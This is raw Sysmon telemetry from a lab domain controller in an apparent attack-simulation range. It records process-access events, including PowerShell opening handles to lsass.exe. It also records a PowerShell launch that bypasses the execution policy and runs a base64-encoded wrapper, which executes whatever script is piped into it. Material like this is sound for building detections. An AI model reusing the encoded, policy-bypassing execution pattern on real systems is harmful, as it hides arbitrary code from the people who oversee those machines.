JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000003057Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003056Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003055Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003054Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.429{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003053Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.429{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003052Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.397{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_5kfdqxkm.xik.ps12020-10-09 09:10:25.397 10341000x80000000000000003051Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.382{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003050Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003049Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003048Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003047Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003046Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003045Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003044Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003043Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003042Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003041Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003040Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003039Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.350{A5F018FF-2901-5F80-9500-000000007F01}8601220C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb7331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcfd4a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd032edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0163d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd008356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd014889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd01447c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffacd7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffa2a7(wow64) 154100x80000000000000003038Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.362{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 